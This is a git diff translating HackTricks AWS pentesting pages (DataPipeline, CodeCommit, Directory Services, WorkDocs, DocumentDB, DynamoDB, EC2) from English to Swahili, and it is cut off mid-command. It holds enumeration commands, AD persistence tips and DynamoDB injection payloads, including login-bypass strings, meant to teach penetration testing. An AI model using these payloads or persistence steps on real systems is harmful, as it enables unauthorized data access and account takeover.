../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 2a907b71b..c9b25bfbf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,30 +4,28 @@ ## DataPipeline -AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed: +AWS Data Pipeline imeundwa kuwezesha **ufikiaji, mabadiliko, na uhamishaji mzuri** wa data kwa kiwango kikubwa. Inaruhusu operesheni zifuatazo kufanywa: -1. **Access Your Data Where Itā€™s Stored**: Data residing in various AWS services can be accessed seamlessly. -2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently. -3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including: - - Amazon S3 - - Amazon RDS - - Amazon DynamoDB - - Amazon EMR +1. **Fikia Data Zako Mahali Ilipo**: Data inayokaa katika huduma mbalimbali za AWS inaweza kufikiwa bila shida. +2. **Badilisha na Usindikishe kwa Kiwango Kikubwa**: Kazi za usindikaji na mabadiliko ya data kwa kiwango kikubwa zinashughulikiwa kwa ufanisi. +3. **Uhamishaji wa Matokeo kwa Ufanisi**: Data iliyosindikwa inaweza kuhamishwa kwa ufanisi kwenda huduma mbalimbali za AWS ikijumuisha: +- Amazon S3 +- Amazon RDS +- Amazon DynamoDB +- Amazon EMR -In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals. +Kwa kifupi, AWS Data Pipeline inarahisisha uhamaji na usindikaji wa data kati ya huduma tofauti za kompyuta na uhifadhi za AWS, pamoja na vyanzo vya data vya ndani, kwa nyakati zilizotajwa. ### Enumeration - ```bash aws datapipeline list-pipelines aws datapipeline describe-pipelines --pipeline-ids aws datapipeline list-runs --pipeline-id aws datapipeline get-pipeline-definition --pipeline-id ``` - ### Privesc -In the following page you can check how to **abuse datapipeline permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za datapipeline ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -35,10 +33,9 @@ In the following page you can check how to **abuse datapipeline permissions to e ## CodePipeline -AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define. +AWS CodePipeline ni huduma ya **usambazaji endelevu** inayosimamiwa kikamilifu ambayo inakusaidia **kujiandaa kwa ajili ya mchakato wa kutolewa** kwa sasisho za haraka na za kuaminika za programu na miundombinu. CodePipeline inafanya kiotomatiki **ujenzi, majaribio, na hatua za kutekeleza** za mchakato wako wa kutolewa kila wakati kuna mabadiliko ya msimbo, kulingana na mfano wa kutolewa uliofafanuliwa. ### Enumeration - ```bash aws codepipeline list-pipelines aws codepipeline get-pipeline --name @@ -47,10 +44,9 @@ aws codepipeline list-pipeline-executions --pipeline-name aws codepipeline list-webhooks aws codepipeline get-pipeline-state --name ``` - ### Privesc -In the following page you can check how to **abuse codepipeline permissions to escalate privileges**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za codepipeline ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-codepipeline-privesc.md @@ -58,12 +54,11 @@ In the following page you can check how to **abuse codepipeline permissions to e ## CodeCommit -It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud. +Ni **huduma ya udhibiti wa toleo**, ambayo inahifadhiwa na kusimamiwa kikamilifu na Amazon, ambayo inaweza kutumika kuhifadhi data kwa faragha (nyaraka, faili za binary, msimbo wa chanzo) na kuzisimamia katika wingu. -It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with userā€™s current Git-based tools. +In **ondoa** hitaji kwa mtumiaji kujua Git na **kusimamia mfumo wao wa udhibiti wa chanzo** au kuwa na wasiwasi kuhusu kupanua au kupunguza miundombinu yao. Codecommit inasaidia kazi zote za kawaida **zinazoweza kupatikana katika Git**, ambayo inamaanisha inafanya kazi bila shida na zana za sasa za Git za mtumiaji. ### Enumeration - ```bash # Repos aws codecommit list-repositories @@ -95,13 +90,8 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` - -## References +## Marejeleo - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 93992174c..6b75d8de7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,26 +4,25 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud. +AWS Directory Service for Microsoft Active Directory ni huduma inayosimamiwa ambayo inafanya iwe rahisi **kuanzisha, kuendesha, na kupanua directory** katika AWS Cloud. Imejengwa juu ya **Microsoft Active Directory** halisi na inajumuisha kwa karibu na huduma nyingine za AWS, ikifanya iwe rahisi kusimamia kazi zako zinazojua directory na rasilimali za AWS. Pamoja na AWS Managed Microsoft AD, unaweza **kutumia** watumiaji, vikundi, na sera zako za Active Directory zilizopo kusimamia ufikiaji wa rasilimali zako za AWS. Hii inaweza kusaidia kurahisisha usimamizi wa utambulisho wako na kupunguza hitaji la suluhisho za utambulisho za ziada. AWS Managed Microsoft AD pia inatoa nakala za otomatiki na uwezo wa urejeleaji wa majanga, kusaidia kuhakikisha upatikanaji na kudumu kwa directory yako. Kwa ujumla, AWS Directory Service for Microsoft Active Directory inaweza kusaidia kuokoa muda na rasilimali kwa kutoa huduma ya Active Directory inayosimamiwa, inayopatikana kwa urahisi, na inayoweza kupanuka katika AWS Cloud. ### Options -Directory Services allows to create 5 types of directories: +Directory Services inaruhusu kuunda aina 5 za directories: -- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC. -- **Simple AD**: Which will be a **Linux-Samba** Active Directoryā€“compatible server. You will be able to set the admin password and access the DCs in a VPC. -- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**. -- **Amazon Cognito User Pools**: This is the same as Cognito User Pools. -- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**. +- **AWS Managed Microsoft AD**: Ambayo itakimbia **Microsoft AD mpya katika AWS**. Utaweza kuweka nenosiri la admin na kufikia DCs katika VPC. +- **Simple AD**: Ambayo itakuwa **Linux-Samba** seva inayofanana na Active Directory. Utaweza kuweka nenosiri la admin na kufikia DCs katika VPC. +- **AD Connector**: Proxy kwa **kupeleka maombi ya directory kwa Microsoft Active Directory yako iliyopo** bila kuhifadhi taarifa yoyote katika wingu. Itakuwa inasikiliza katika **VPC** na unahitaji kutoa **vithibitisho vya kufikia AD iliyopo**. +- **Amazon Cognito User Pools**: Hii ni sawa na Cognito User Pools. +- **Cloud Directory**: Hii ndiyo **rahisi zaidi**. Directory **isiyo na seva** ambapo unaonyesha **schema** ya kutumia na unatozwa **kulingana na matumizi**. -AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**. +AWS Directory services inaruhusu **kusawazisha** na **Microsoft AD** yako iliyopo **kwenye tovuti**, **kufanya yako mwenyewe** katika AWS au kusawazisha na **aina nyingine za directory**. ### Lab -Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +Hapa unaweza kupata mafunzo mazuri ya kuunda Microsoft AD yako mwenyewe katika AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### Enumeration - ```bash # Get directories and DCs aws ds describe-directories @@ -36,10 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` - ### Login -Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:** +Kumbuka kwamba ikiwa **maelezo** ya directory yana **domain** katika uwanja wa **`AccessUrl`** ni kwa sababu **mtumiaji** anaweza labda **kuingia** na **akidi za AD** katika baadhi ya **AWS services:** - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -57,30 +55,29 @@ Note that if the **description** of the directory contained a **domain** in the ### Using an AD user -An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console. +Mtumiaji wa **AD** anaweza kupewa **ufikiaji juu ya AWS management console** kupitia Rol ambayo itachukuliwa. Jina la mtumiaji la **kawaida ni Admin** na inawezekana **kubadilisha nenosiri lake** kutoka AWS console. -Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\ -It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth). +Kwa hivyo, inawezekana **kubadilisha nenosiri la Admin**, **kuunda mtumiaji mpya** au **kubadilisha nenosiri** la mtumiaji na kumpa mtumiaji huyo Rol ili kudumisha ufikiaji.\ +Pia inawezekana **kuongeza mtumiaji kwenye kundi ndani ya AD** na **kumpa kundi hilo la AD ufikiaji wa Rol** (ili kufanya kudumu huku kuwa na siri zaidi). ### Sharing AD (from victim to attacker) -It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\ -However, this implies sharing the managed AD and also creating an VPC peering connection. +Inawezekana kushiriki mazingira ya AD kutoka kwa mwathirika hadi kwa mshambuliaji. Kwa njia hii mshambuliaji ataweza kuendelea kupata ufikiaji wa mazingira ya AD.\ +Hata hivyo, hii inamaanisha kushiriki AD inayosimamiwa na pia kuunda muunganisho wa VPC peering. -You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +Unaweza kupata mwongozo hapa: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) ### ~~Sharing AD (from attacker to victim)~~ -It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account. +Haionekani kuwa inawezekana kutoa ufikiaji wa AWS kwa watumiaji kutoka mazingira tofauti ya AD hadi akaunti moja ya AWS. ## WorkDocs -Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents. +Amazon Web Services (AWS) WorkDocs ni huduma ya **hifadhi na ushirikiano wa faili** inayotegemea wingu. Ni sehemu ya suite ya huduma za kompyuta za wingu za AWS na imeundwa kutoa suluhisho salama na linaloweza kupanuka kwa mashirika kuhifadhi, kushiriki, na kushirikiana kwenye faili na hati. -AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools. +AWS WorkDocs inatoa kiolesura kinachotegemea wavuti kwa watumiaji kupakia, kufikia, na kusimamia faili na hati zao. Pia inatoa vipengele kama udhibiti wa toleo, ushirikiano wa wakati halisi, na uunganisho na huduma nyingine za AWS na zana za wahusika wengine. ### Enumeration - ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id @@ -109,7 +106,6 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### Privesc {{#ref}} @@ -117,7 +113,3 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index caf35d03c..b12b03897 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,10 +4,9 @@ ## DocumentDB -Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB. +Amazon DocumentDB, inayotoa ulinganifu na MongoDB, inawasilishwa kama **huduma ya hifadhidata ya haraka, ya kuaminika, na inayosimamiwa kikamilifu**. Imeundwa kwa urahisi katika kutekeleza, kufanya kazi, na kupanuka, inaruhusu **uhamishaji na uendeshaji usio na mshono wa hifadhidata zinazolingana na MongoDB katika wingu**. Watumiaji wanaweza kutumia huduma hii kutekeleza msimbo wao wa programu uliopo na kutumia madereva na zana zinazofahamika, kuhakikisha mpito na uendeshaji laini kama kufanya kazi na MongoDB. ### Enumeration - ```bash aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" aws docdb describe-db-instances #Get hostnames from here @@ -20,10 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` - ### NoSQL Injection -As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks: +Kwa kuwa DocumentDB ni hifadhidata inayofanana na MongoDB, unaweza kufikiria kwamba pia ina udhaifu kwa mashambulizi ya kawaida ya NoSQL injection: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -40,7 +38,3 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index cb0864715..f2770727d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,28 +6,27 @@ ### Basic Information -Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities. +Amazon DynamoDB inatolewa na AWS kama **hifadhidata ya NoSQL isiyo na seva, inayosimamiwa kikamilifu, ya funguo-thamani**, iliyoundwa kwa ajili ya kuendesha programu zenye utendaji wa juu bila kujali ukubwa wao. Huduma hii inahakikisha vipengele thabiti ikiwa ni pamoja na hatua za usalama zilizojengwa ndani, nakala zisizokatizwa, ureplication wa kiotomatiki katika maeneo mbalimbali, uhifadhi wa data wa ndani uliojumuishwa, na zana rahisi za kusafirisha data. -In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization. +Katika muktadha wa DynamoDB, badala ya kuunda hifadhidata ya jadi, **meza zinaanzishwa**. Kila meza inahitaji ufafanuzi wa **funguo ya sehemu** kama sehemu muhimu ya **funguo kuu ya meza**. Funguo hii ya sehemu, kimsingi ni **thamani ya hash**, ina jukumu muhimu katika upatikanaji wa vitu na usambazaji wa data kati ya wenyeji mbalimbali. Usambazaji huu ni muhimu kwa kudumisha upanuzi na upatikanaji wa hifadhidata. Aidha, kuna chaguo la kuingiza **funguo ya kupanga** ili kuboresha zaidi shirika la data. ### Encryption -By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account. +Kwa kawaida, DynamoDB inatumia funguo ya KMS ambayo \*\*ni ya Amazon DynamoDB,\*\* hata si funguo inayosimamiwa na AWS ambayo angalau inamilikiwa na akaunti yako.
### Backups & Export to S3 -It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations. +Inawezekana **kuandaa** uzalishaji wa **nakala za meza** au kuziunda kwa **mahitaji**. Aidha, inawezekana pia kuwezesha **Urejeleaji wa wakati (PITR) kwa meza.** Urejeleaji wa wakati unatoa **nakala** za data zako za DynamoDB kwa **siku 35** ili kusaidia kulinda dhidi ya shughuli za kuandika au kufuta zisizokusudiwa. -It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**. +Pia inawezekana kusafirisha **data ya meza kwenda S3**, lakini meza inahitaji kuwa na **PITR iliyoanzishwa**. ### GUI -There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +Kuna GUI kwa huduma za Dynamo za ndani kama [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), nk, ambazo zinaweza kuwa na manufaa: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) ### Enumeration - ```bash # Tables aws dynamodb list-tables @@ -36,7 +35,7 @@ aws dynamodb describe-table --table-name #Get metadata info #Check if point in time recovery is enabled aws dynamodb describe-continuous-backups \ - --table-name tablename +--table-name tablename # Backups aws dynamodb list-backups @@ -54,8 +53,7 @@ aws dynamodb describe-export --export-arn # Misc aws dynamodb describe-endpoints #Dynamodb endpoints ``` - -### Unauthenticated Access +### Upatikanaji Usioidhinishwa {{#ref}} ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -67,13 +65,13 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Post Exploitation +### Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Persistence +### Kudumu {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md @@ -83,7 +81,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ### SQL Injection -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Kuna njia za kufikia data za DynamoDB kwa kutumia **sintaksia ya SQL**, hivyo basi, **injections za SQL za kawaida pia zinaweza** kutokea. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection @@ -91,23 +89,21 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL Injection -In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\ -You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) +Katika DynamoDB masharti tofauti yanaweza kutumika kupata data, kama katika NoSQL Injection ya kawaida ikiwa inawezekana **kuunganisha masharti zaidi ili kupata** data unaweza kupata data iliyofichwa (au kupakua jedwali lote).\ +Unaweza kupata hapa masharti yanayoungwa mkono na DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**. +Kumbuka kwamba **masharti tofauti** yanayoungwa mkono ikiwa data inapatikana kupitia **`query`** au kupitia **`scan`**. > [!NOTE] -> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited). - -If you can **change the comparison** performed or add new ones, you could retrieve more data. +> Kwa kweli, hatua za **Query** zinahitaji kubainisha **sharti "EQ" (sawa)** katika **funguo** ya **msingi** ili kufanya kazi, na kufanya iwe **hasi uwezekano wa NoSQL injections** (na pia kufanya operesheni kuwa na mipaka sana). +Ikiwa unaweza **kubadilisha kulinganisha** kunakofanywa au kuongeza mpya, unaweza kupata data zaidi. ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" "NOT_CONTAINS": "a123" #What you think "GT": " " #All strings are greater than a space ``` - {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} @@ -115,68 +111,54 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ### Raw Json injection > [!CAUTION] -> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!** +> **Uthibitisho huu unategemea dynamodb Scan Filter ambayo sasa imeondolewa!** -**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents. - -For example, injecting in a request like: +**DynamoDB** inakubali **Json** vitu ili **kutafuta** data ndani ya DB. Ikiwa unapata kuwa unaweza kuandika katika kitu cha json kilichotumwa kutafuta, unaweza kufanya DB dump, maudhui yote. +Kwa mfano, kuingiza katika ombi kama: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` - -an attacker could inject something like: +mshambuliaji anaweza kuingiza kitu kama: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all. - -Another **vulnerable example using a login** could be: +sahihisha hali ya "EQ" ikitafuta ID 1000 na kisha kutafuta data zote zikiwa na mfuatano wa Id kubwa zaidi ya 0, ambayo ni zote. +Mfano mwingine **ulio hatarini ukitumia kuingia** unaweza kuwa: ```python scan_filter = """{ - "username": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - }, - "password": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - } +"username": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +}, +"password": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +} } """ % (user_data['username'], user_data['password']) dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` - -This would be vulnerable to: - +Hii itakuwa hatarini kwa: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` - ### :property Injection -Some SDKs allows to use a string indicating the filtering to be performed like: - +Baadhi ya SDKs zinaruhusu kutumia mfuatano unaoashiria uchujaji utakaofanywa kama: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` +Unahitaji kujua kwamba kutafuta katika DynamoDB kwa **kubadilisha** thamani ya **sifa** katika **maelezo ya filtria** wakati wa kusoma vitu, tokeni zinapaswa **kuanza** na herufi ya **`:`**. Tokeni hizo zitabadilishwa na thamani halisi ya **sifa wakati wa wakati wa kutekeleza**. -You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**. - -Therefore, a login like the previous one can be bypassed with something like: - +Hivyo, kuingia kama ile ya awali inaweza kupuuziliwa mbali na kitu kama: ```bash :username = :username or :username # This will generate the query: # :username = :username or :username = :username and Password = :password # which is always true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index f365bc7f5..86117628f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -Learn what a VPC is and about its components in: +Jifunze ni nini VPC na kuhusu vipengele vyake katika: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,37 +12,36 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions. +Amazon EC2 inatumika kwa kuanzisha **seva za virtual**. Inaruhusu usanidi wa **usalama** na **mtandao** na usimamizi wa **hifadhi**. Uwezo wa Amazon EC2 kuweza kupanua rasilimali kwa juu na chini unaonyesha kubadilika kwake, ikibadilika kwa ufanisi na mabadiliko ya mahitaji au ongezeko la umaarufu. Kipengele hiki kinapunguza hitaji la makadirio sahihi ya trafiki. -Interesting things to enumerate in EC2: +Mambo ya kuvutia kuhesabu katika EC2: -- Virtual Machines - - SSH Keys - - User Data - - Existing EC2s/AMIs/Snapshots -- Networking - - Networks - - Subnetworks - - Public IPs - - Open ports -- Integrated connections with other networks outside AWS +- Mashine za Virtual +- Funguo za SSH +- Takwimu za Mtumiaji +- EC2/AMIs/Snapshots zilizopo +- Mtandao +- Mitandao +- Mitandao ya Ndani +- IP za Umma +- Bandari za wazi +- Mifumo ya kuunganishwa na mitandao mingine nje ya AWS ### Instance Profiles -Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications. +Kutumia **roles** kutoa ruhusa kwa programu zinazotembea kwenye **EC2 instances** kunahitaji usanidi wa ziada kidogo. Programu inayotembea kwenye EC2 instance imejificha kutoka AWS na mfumo wa uendeshaji wa virtualized. Kwa sababu ya kutenganishwa kwa ziada, unahitaji hatua ya ziada kutoa AWS role na ruhusa zake zinazohusiana kwa EC2 instance na kuzifanya zipatikane kwa programu zake. -This extra step is the **creation of an** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions. +Hatua hii ya ziada ni **kuunda** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) iliyounganishwa na instance. **Instance profile ina role na** inaweza kutoa akreditif za muda za role kwa programu inayotembea kwenye instance. Akreditif hizo za muda zinaweza kutumika katika wito wa API wa programu kupata rasilimali na kupunguza ufikiaji kwa rasilimali hizo pekee ambazo role inabainisha. Kumbuka kwamba **role moja tu inaweza kutolewa kwa EC2 instance** kwa wakati mmoja, na programu zote kwenye instance zinashiriki role na ruhusa sawa. ### Metadata Endpoint -AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname. +AWS EC2 metadata ni taarifa kuhusu Amazon Elastic Compute Cloud (EC2) instance ambayo inapatikana kwa instance wakati wa utendaji. Metadata hii inatumika kutoa taarifa kuhusu instance, kama vile kitambulisho chake cha instance, eneo la upatikanaji ambalo linafanya kazi, role ya IAM inayohusiana na instance, na jina la mwenyeji wa instance. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} ### Enumeration - ```bash # Get EC2 instances aws ec2 describe-instances @@ -50,10 +49,10 @@ aws ec2 describe-instance-status #Get status from running instances # Get user data from each ec2 instance for instanceid in $(aws ec2 